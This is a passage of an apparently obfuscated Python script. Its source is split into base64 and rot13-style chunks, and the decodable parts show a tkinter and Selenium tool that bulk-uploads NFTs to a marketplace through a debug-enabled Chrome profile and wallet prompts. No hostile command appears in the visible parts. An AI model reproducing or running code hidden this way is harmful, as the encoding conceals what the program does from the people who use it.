lYkltYWdlKGltYWdldXJsKS5nZXQoKQppbWFnZWxhYiA9IHRrLkxhYmVsKHJvb3QsIGltYWdlPWltZykKaW1hZ2VsYWIuZ3JpZChyb3c9MCwgY29sdW1uc3Bhbj0yKQppbWFnZWxhYi5iaW5kKCI8QnV0dG9uLTE+IiwgbGFtYmRhIGU6c3VwcG9ydFVSTCgpKQoKaXNfcG9seWdvbiA9IEJvb2xlYW5WYXIoKQppc19wb2x5Z29uLnNldChUcnVlKQoKaXNfbGlzdGluZyA9IEJvb2xlYW5WYXIoKQppc19saXN0aW5nLnNldChUcnVlKSAKCmlzX251bWZvcm1hdCA9IEJvb2xlYW5WYXIoKQppc19udW1mb3JtYXQuc2V0KEZhbHNlKSAKCgoKCmRlZiBvcGVuX2Nocm9tZV9wcm9maWxlKCk6CiAgICBzdWJwcm9jZXNzLlBvcGVuKAogICAgICAgIFsKICAgICAgICAgICAgInN0YXJ0IiwKICAgICAgICAgICAgImNocm9tZSIsCiAgICAgICAgICAgICItLXJlbW90ZS1kZWJ1Z2dpbmctcG9ydD04OTg5IiwKICAgICAgICAgICAgIi0tdXNlci1kYXRhLWRpcj0iICsgbWFpbl9kaXJlY3RvcnkgKyAiL2Nocm9tZV9wcm9maWxlIiwKICAgICAgICBdLAogICAgICAgIHNoZWxsPVRydWUsCiAgICApCgoKZGVmIHNhdmVfZmlsZV9wYXRoKCk6CiAgICAjcmV0dXJuIG9zLnBhdGguam9pbihzeXMucGF0aFswXSwgIlNhdmVfZmlsZS5jbG91ZCIpIAogICAgcmV0dXJuIG9zLnBhdGguam9pbihzeXMucGF0aFswXSwgIlNhdmVfZ3VpLmNsb3VkIikgCgoKIyBhc2sgZm9yIGRpcmVjdG9yeSBvbiBjbGlja2luZyBidXR0b24sIGNoYW5nZXMgYnV0dG9uIG5hbWUuCmRlZiB1cGxvYWRfZm9sZGVyX2lucHV0KCk6CiAgICBnbG9iYWwgdXBsb2FkX3BhdGgKICAgIHVwbG9hZF9wYXRoID0gZmlsZWRpYWxvZy5hc2tkaXJlY3RvcnkoKQogICAgTmFtZV9jaGFuZ2VfaW1nX2ZvbGRlcl9idXR0b24odXBsb2FkX3BhdGgpCgpkZWYgTmFtZV9jaGFuZ2VfaW1nX2ZvbGRlcl9idXR0b24odXBsb2FkX2ZvbGRlcl9pbnB1dCk6CiAgICB1cGxvYWRfZm9sZGVyX2lucHV0X2J1dHRvblsidGV4dCJdID0gdXBsb2FkX2ZvbGRlcl9pbnB1dAoKZGVmIGlzX251bWVyaWModmFsKToKCWlmIHN0cih2YWwpLmlzZGlnaXQoKToKCQlyZXR1cm4gVHJ1ZQoJZWxpZiBzdHIodmFsKS5yZXBsYWNlKCcuJywnJywxKS5pc2RpZ2l0KCk6CgkJcmV0dXJuIFRydWUKCWVsc2U6CgkJcmV0dXJuIEZhbHNlCgpjbGFzcyBJbnB1dEZpZWxkOgogICAgZGVmIF9faW5pdF9fKHNlbGYsIGxhYmVsLCByb3dfaW8sIGNvbHVtbl9pbywgcG9zLCAgbWFzdGVyPXJvb3QpOgogICAgICAgIHNlbGYubWFzdGVyID0gbWFzdGVyCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZCA9IEVudHJ5KHNlbGYubWFzdGVyLCB3aWR0aD02MCkKICAgICAgICBzZWxmLmlucHV0X2ZpZWxkLmdyaWQoaXBhZHk9MykKICAgICAgICBzZWxmLmlucHV0X2ZpZWxkLmxhYmVsID0gTGFiZWwobWFzdGVyLCB0ZXh0PWxhYmVsLCBhbmNob3I9InciLCB3aWR0aD0yMCwgaGVpZ2h0PTEgKQogICAgICAgIHNlbGYuaW5wdXRfZmllbGQubGFiZWwuZ3JpZChyb3c9cm93X2lvLCBjb2x1bW49Y29sdW1uX2lvLCBwYWR4PTEyLCBwYWR5PTIpCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5ncmlkKHJvdz1yb3dfaW8sIGNvbHVtbj1jb2x1bW5faW8gKyAxLCBwYWR4PTEyLCBwYWR5PTIpCiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oc2F2ZV9maWxlX3BhdGgoKSwgInJiIikgYXMgaW5maWxlOgogICAgICAgICAgICAgICAgbmV3X2RpY3QgPSBwaWNrbGUubG9hZChpbmZpbGUpCiAgICAgICAgICAgICAgICBzZWxmLmluc2VydF90ZXh0KG5ld19kaWN0W3Bvc10pCiAgICAgICAgZXhjZXB0IEZpbGVOb3RGb3VuZEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICBkZWYgaW5zZXJ0X3RleHQoc2VsZiwgdGV4dCk6CiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5kZWxldGUoMCwgImVuZCIpCiAgICAgICAgc2VsZi5pbnB1dF9maWVsZC5pbnNlcnQoMCwgdGV4dCkKCiAgICBkZWYgc2F2ZV9pbnB1dHMoc2VsZiwgcG9zKToKICAgICAgICAjbWVzc2FnZWJveC5zaG93d2FybmluZygic2hvd3dhcm5pbmciLCAiV2FybmluZyIpCiAgICAgICAgaW5wdXRfc2F2ZV9saXN0Lmluc2VydChwb3MsIHNlbGYuaW5wdXRfZmllbGQuZ2V0KCkpCiAgICAgICAgd2l0aCBvcGVuKHNhdmVfZmlsZV9wYXRoKCksICJ3YiIpIGFzIG91dGZpbGU6CiAgICAgICAgICAgIHBpY2tsZS5kdW1wKGlucHV0X3NhdmVfbGlzdCwgb3V0ZmlsZSkKICAgICAgICAgICAgCiAgICBkZWYgdmFsaWRhdGVfaW5wdXRzKHNlbGYsIG1heGxlbiwgdHlwZSwgbWVzc2FnZSk' 6 | love = '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' 7 | god = '0gc3RhcnRfbnVtOgogICAgICAgIGlmIGlzX251bWZvcm1hdC5nZXQoKToKICAgICAgICAgICAgc3RhcnRfbnVtZm9ybWF0ID0gZiJ7IHN0YXJ0X251bTowNH0iCiAgICAgICAgZWxzZToKICAgICAgICAgICAgIHN0YXJ0X251bWZvcm1hdCA9IGYieyBzdGFydF9udW06MDF9IgoKICAgICAgICBwcmludCgiU3RhcnQgY3JlYXRpbmcgTkZUICIgKyAgbG9vcF90aXRsZSArIHN0cihzdGFydF9udW1mb3JtYXQpKQogICAgICAgIHByaW50KCdudW1iZXIgJywgIHN0YXJ0X251bWZvcm1hdCkKICAgICAgICBkcml2ZXIuZ2V0KGNvbGxlY3Rpb25fbGluaykKICAgICAgICAKICAgICAgICAKICAgICAgICB3YWl0X3hwYXRoKCcvLypbQGlkPSJtZWRpYSJdJykKICAgICAgICBpbWFnZVVwbG9hZCA9IGRyaXZlci5maW5kX2VsZW1lbnRfYnlfeHBhdGgoJy8vKltAaWQ9Im1lZGlhIl0nKQogICAgICAgIGltYWdlUGF0aCA9IG9zLnBhdGguYWJzcGF0aChmaWxlX3BhdGggKyAiXFxpbWFnZXNcXCIgKyBzdHIoc3RhcnRfbnVtZm9ybWF0KSArICIuIiArIGxvb3BfZmlsZV9mb3JtYXQpICAjIGNoYW5nZSBmb2xkZXIgaGVyZQogICAgICAgIGltYWdlVXBsb2FkLnNlbmRfa2V5cyhpbWFnZVBhdGgpCiAgICAgICAgdGltZS5zbGVlcCgwLjgpCgogICAgICAgIG5hbWUgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJuYW1lIl0nKQogICAgICAgIG5hbWUuc2VuZF9rZXlzKGxvb3BfdGl0bGUgKyBzdHIoc3RhcnRfbnVtZm9ybWF0KSkgICMgKzEwMDAgZm9yIG90aGVyIGZvbGRlcnMgI2NoYW5nZSBuYW1lIGJlZm9yZSAiIyIKICAgICAgICB0aW1lLnNsZWVwKDAuOCkKCiAgICAgICAgZXh0X2xpbmsgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJleHRlcm5hbF9saW5rIl0nKQogICAgICAgIGV4dF9saW5rLnNlbmRfa2V5cyhsb29wX2V4dGVybmFsX2xpbmspCiAgICAgICAgdGltZS5zbGVlcCgwLjgpCgogICAgICAgIGRlc2MgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvLypbQGlkPSJkZXNjcmlwdGlvbiJdJykKICAgICAgICBkZXNjLnNlbmRfa2V5cyhsb29wX2Rlc2NyaXB0aW9uKQogICAgICAgIHRpbWUuc2xlZXAoMC44KQoKICAgICAgICAjanNvbkRhdGEgPSBKU09OKGZpbGVfcGF0aCArICIvanNvbi8iKyBzdHIoc3RhcnRfbnVtKSArICIuanNvbiIpLnJlYWRGcm9tRmlsZSgpCgogICAgICAgIGpzb25GaWxlID0gZmlsZV9wYXRoICsgIi9qc29uLyIrIHN0cihzdGFydF9udW1mb3JtYXQpICsgIi5qc29uIgogICAgICAgIGlmIG9zLnBhdGguaXNmaWxlKGpzb25GaWxlKSBhbmQgb3MuYWNjZXNzKGpzb25GaWxlLCBvcy5SX09LKToKICAgICAgICAgICAKICAgICAgICAgICAgI3ByaW50KHN0cihqc29uTWV0YURhdGEpKQogICAgICAgICAgICB3YWl0X2Nzc19zZWxlY3RvcigiYnV0dG9uW2FyaWEtbGFiZWw9J0FkZCBwcm9wZXJ0aWVzJ10iKQogICAgICAgICAgICBwcm9wZXJ0aWVzID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV9jc3Nfc2VsZWN0b3IoImJ1dHRvblthcmlhLWxhYmVsPSdBZGQgcHJvcGVydGllcyddIikKICAgICAgICAgICAgZHJpdmVyLmV4ZWN1dGVfc2NyaXB0KCJhcmd1bWVudHNbMF0uY2xpY2soKTsiLCBwcm9wZXJ0aWVzKQogICAgICAgICAgICB0aW1lLnNsZWVwKDAuOCkKCiAgICAgICAgICAgICMganNvbkRhdGEgPSBKU09OKG9zLmdldGN3ZCgpICsgIi9kYXRhLyIrIHN0cihzdGFydF9udW0pICsgIi5qc29uIikucmVhZEZyb21GaWxlKCkKICAgICAgICAgICAgIyBqc29uTWV0YURhdGEgPSBqc29uRGF0YVsnYXR0cmlidXRlcyddCgogICAgICAgICAgICAgIyBjaGVja3MgaWYgZmlsZSBleGlzdHMKICAgICAgICAgICAganNvbkRhdGEgPSBqc29uLmxvYWRzKG9wZW4oZmlsZV9wYXRoICsgIlxcanNvblxcIisgc3RyKHN0YXJ0X251bWZvcm1hdCkgKyAiLmpzb24iKS5yZWFkKCkpCiAgICAgICAgICAgIGpzb25NZXRhRGF0YSA9IGpzb25EYXRhWydhdHRyaWJ1dGVzJ10KCiAgICAgICAgICAgIGZvciBrZXkgaW4ganNvbk1ldGFEYXRhOgogICAgICAgICAgICAgICAgaW5wdXQxID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy90Ym9keVtAY2xhc3M9IkFzc2V0VHJhaXRzRm9ybS0tYm9keSJdL3RyW2xhc3QoKV0vdGRbMV0vZGl2L2Rpdi9pbnB1dCcpCiAgICAgICAgICAgICAgICBpbnB1dDIgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL3Rib2R5W0BjbGFzcz0iQXNzZXRUcmFpdHNGb3JtLS1ib2R5Il0vdHJbbGFzdCgpXS90ZFsyXS9kaXYvZGl2L2lucHV0JykKICAgICAgICAgICAgICAgICNwcmludChzdHIoa2V5Wyd0cmFpdF90eXBlJ10pKQogICAgICAgICAgICAgICAgI3ByaW50KHN0cihrZXlbJ3ZhbHVlJ10pKQogICAgICAgICAgICAgICAgaW5wdXQxLnNlbmRfa2V5cyhzdHIoa2V5Wyd0cmFpdF90eXBlJ10pKQogICAgICAgICAgICAgICAgaW5wdXQyLnNlbmRfa2V5cyhzdHIoa2V5Wyd2YWx1ZSddKSkKICAgICAgICAgICAgICAgICMgZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy9idXR0b25bdGV4dCgpPSJBZGQgbW9yZSJdJykuY2xpY2soKQogICAgICAgICAgICAgICAgYWRkbW9yZV9idXR0b24gPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL2J1dHRvblt0ZXh0KCk9IkFkZCBtb3JlIl0nKQogICAgICAgICAgICAgICAgZHJpdmVyLmV4ZWN1dGVfc2NyaXB0KCJhcmd1bWVudHNbMF0uY2xpY2soKTsiLCBhZGRtb3JlX2J1dHRvbikKICAgICAgICAgICAgdGltZS5zbGVlcCgwLjkpCgogICAgICAgICAgICBkcml2ZXIuZmluZF9lbGVtZW50X2J5X3hwYXRoKCcvL2J1dHRvblt0ZXh0KCk9IlNhdmUiXScpLmNsaWNrKCkKICAgICAgICAgICAgdGltZS5zbGVlcCgwLjgpCgoKCiAgICAgICAgIyBTZWxlY3QgUG9seWdvbiBibG9ja2NoYWluIGlmIGFwcGxpY2FibGUKICAgICAgICAjaWYgaXNfcG9seWdvbi5nZXQoKToKICAgICAgICAgICAgIyBibG9ja2NoYWluX2J1dHRvbiA9IGRyaXZlci5maW5kX2VsZW1lbnQoQnkuWFBBVEgsICcvLypbQGlkPSJfX25leHQiXS9kaXZbMV0vbWFpbi9kaXYvZGl2L3NlY3Rpb24vZGl2L2Zvcm0vZGl2WzddL2Rpdi9kaXZbMl0nKQogICAgICAgICAgICAjIGJsb2NrY2hhaW5fYnV0dG9uLmNsaWNrKCkKICAgICAgICAgICAgIyBwb2x5Z29uX2J1dHRvbl9sb2NhdGlvbiA9ICcvL3NwYW5bbm9ybWFsaXplLXNwYWNlKCkgPSAiTXVtYmFpIl0nCiAgICAgICAgICAgICMgd2FpdC51bnRpbChFeHBlY3RlZENvbmRpdGlvbnMucHJlc2VuY2Vfb2ZfZWxlbWVudF9sb2NhdGVkKAogICAgICAgICAgICAjICAgICAoQnkuWFBBVEgsIHBvbHlnb25fYnV0dG9uX2xvY2F0aW9uKSkpCiAgICAgICAgICAgICMgcG9seWdvbl9idXR0b24gPSBkcml2ZXIuZmluZF9lbGVtZW50KAogICAgICAgICAgICAjICAgICBCeS5YUEFUSCwgcG9seWdvbl9idXR0b25fbG9jYXRpb24pCiAgICAgICAgICAgICMgcG9seWdvbl9idXR0b24uY2xpY2soKQoKCiAgICAgICAgY3JlYXRlID0gZHJpdmVyLmZpbmRfZWxlbWVudF9ieV94cGF0aCgnLy8qW0BpZD0iX19uZXh0Il0vZGl2WzFdL21haW4vZGl2L2Rpdi9zZWN0aW9uL2RpdlsyXS9mb3JtL2Rpdi9kaXZbMV0vc3Bhbi9idXR0b24nKQogICAgICAgIGRyaXZlci5leGVjdXRlX3NjcmlwdCgiYXJndW1lbnRzWzBdLmNsaWNrKCk7IiwgY3JlYXRlKQogICAgICAgIHRpbWUuc2xlZXAoMC44KQoKICAgICAgICAjIHdhaXRfY3NzX3NlbGVjdG9yKCJpW2FyaWEtbGFiZWw9J0Nsb3NlJ10iKQogICAgICAgICMgY3Jvc3MgPSBkcml2ZXIuZmluZF9lbGVtZW50X2J5X2Nzc19zZWxlY3RvcigiaVthcmlhLWxhYmVsPSdDbG9zZSddIikKICAgICAgICAjIGNyb' 8 | destiny = '3AmYzAfnJAeXPxXPvNtVPNtVPNtq2ScqS94pTS0nPtaY2u0oJjiLz9xrF9xnKMoAI0iMTy2Y2Ecqv9xnKLiMTy2JmWqY2W1qUEiov9cWlxXVPNtVPNtVPOwpz9mplN9VTElnKMypv5znJ5xK2IfMJ1yoaEsLaysrUOuqTtbWl9bqT1fY2WiMUxiMTy2JmIqY2Ecqv9xnKLiMTy2Y2EcqyflKF9vqKE0o24inFpcPvNtVPNtVPNtL3Wip3ZhL2kcL2fbXDbtVPNtVPNtVUEcoJHhp2kyMKNbZP44XDbXVPNtVPNtVPOgLJyhK3OuM2HtCFOxpzy2MKVhL3IlpzIhqS93nJ5xo3qsnTShMTkyPtbtVPNtVPNtVTyzVTymK2kcp3EcozphM2I0XPx6PvNtVPNtVPNtVPNtVUqunKEsrUOuqTtbWl8iXygNnJD9Vy9sozI4qPWqY2EcqyfkKF9gLJyhY2Ecqv9xnKLiMTy2JmSqY2Ecqv9mpTShJmWqY2RaXDbtVPNtVPNtVPNtVPOmMJkfVQ0tMUWcqzIlYzMcozEsMJkyoJIhqS9vrI94pTS0nPtaYl8dJ0OcMQ0vK19hMKu0Vy0iMTy2JmSqY21unJ4iMTy2Y2Ecqv9xnKMoZI0iMTy2Y3AjLJ5oZy0iLFpcPvNtVPNtVPNtVPNtVUAyoTjhL2kcL2fbXDbXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzyhpUI0J3OfLJAynT9fMTIlCFqOoJ91oaDaKFVcPvNtVPNtVPNtVPNtVTSgo3IhqPN9VTElnKMypv5znJ5xK2IfMJ1yoaEsLaysL3AmK3AyoTIwqT9lXPWcoaO1qSgjoTSwMJuioTEypw0aDJ1iqJ50W10vXDbtVPNtVPNtVPNtVPOuoJ91oaDhp2IhMS9eMKymXUA0pvufo29jK3OlnJAyXFxXVPNtVPNtVPNtVPNtqTygMF5moTIypPtkXDbXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzW1qUEioyg0rKOyCFqmqJWgnKDaKFVcPvNtVPNtVPNtVPNtVTkcp3EcozptCFOxpzy2MKVhMzyhMS9yoTIgMJ50K2W5K2Amp19mMJkyL3EipvtvLaI0qT9hJ3E5pTH9W3A1Lz1cqPqqVvxXVPNtVPNtVPNtVPNtoTymqTyhMl5woTywnltcPvNtVPNtVPNtVPNtVUEcoJHhp2kyMKNbZGNcPtbtVPNtVPNtVPNtVPNwMz9lVRkcqzHXVPNtVPNtVPNtVPNtV3qunKEsL3AmK3AyoTIwqT9lXPWvqKE0o25oL2kup3Z9W0Wfo2AepzIuL3EsK0Wfo2AeYKAwYGS4MwR4rQLgZPOPqKE0o25lMJSwqS9sH3E5oTIxDaI0qT9hYKAwYJqfMz1uZl0jVTWbpHIXLvOzraqRM0jaKFVcPvNtVPNtVPNtVPNtVPAmnJqhL29gpTkyqTHtCFOxpzy2MKVhMzyhMS9yoTIgMJ50K2W5K2Amp19mMJkyL3EipvtvLaI0qT9hJ2AfLKAmCFqPoT9wn3WyLJA0K19PoT9wnl1mLl0krTLkBUt2YGNtDaI0qT9hpzIuL3EsK1A0rJkyMRW1qUEiov1mLl1aoTMgLGZgZPOvnUSSFzVtMac3ETqZW10vXDbtVPNtVPNtVPNtVPNwp2yaozAioKOfMKEyYzAfnJAeXPxXVPNtVPNtVPNtVPNtV2ElnKMypv5yrTIwqKEyK3AwpzyjqPtvLKWaqJ1yoaEmJmOqYzAfnJAeXPx7Vvjtp2yaozAioKOfMKEyXDbXVPNtVPNtVPNtVPNtnJLtnKAspT9frJqiov5aMKDbXGbXVPNtVPNtVPNtVPNtVPNtVTElnKMypv5znJ5xK2IfMJ1yoaEsLaysrUOuqTtbWl8iLaI0qT9hJ3EyrUDbXG0vH2yaovWqWlxhL2kcL2fbXDbtVPNtVPNtVPNtVPNtVPNtqTygMF5moTIypPtkXDbXVPNtVPNtVPNtVPNtMz9lVTuuozEfMFOcovOxpzy2MKVhq2yhMT93K2uuozEfMKZ6PvNtVPNtVPNtVPNtVPNtVPOcMvObLJ5xoTHtVG0toJScoy9jLJqyBtbtVPNtVPNtVPNtVPNtVPNtVPNtVTkiM2yhK3OuM2HtCFObLJ5xoTHXVPNtVPNtVPNtVPNtVPNtVPNtVPNwLaWyLJfXVPNtVPNtVPNtVPNtVlOwnTShM2HtqTuyVTAioaElo2jtqT8tp2yaozyhVUOuM2HXVPNtVPNtVPNtVPNtMUWcqzIlYaA3nKEwnS90ol53nJ5xo3pboT9anJ5spTSaMFxXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzW1qUEioygxLKEuYKEyp3EcMQ0apzIkqJImqP1mnJqhLKE1pzIsK3AcM24aKFVcPvNtVPNtVPNtVPNtVUAcM24tCFOxpzy2MKVhMzyhMS9yoTIgMJ50K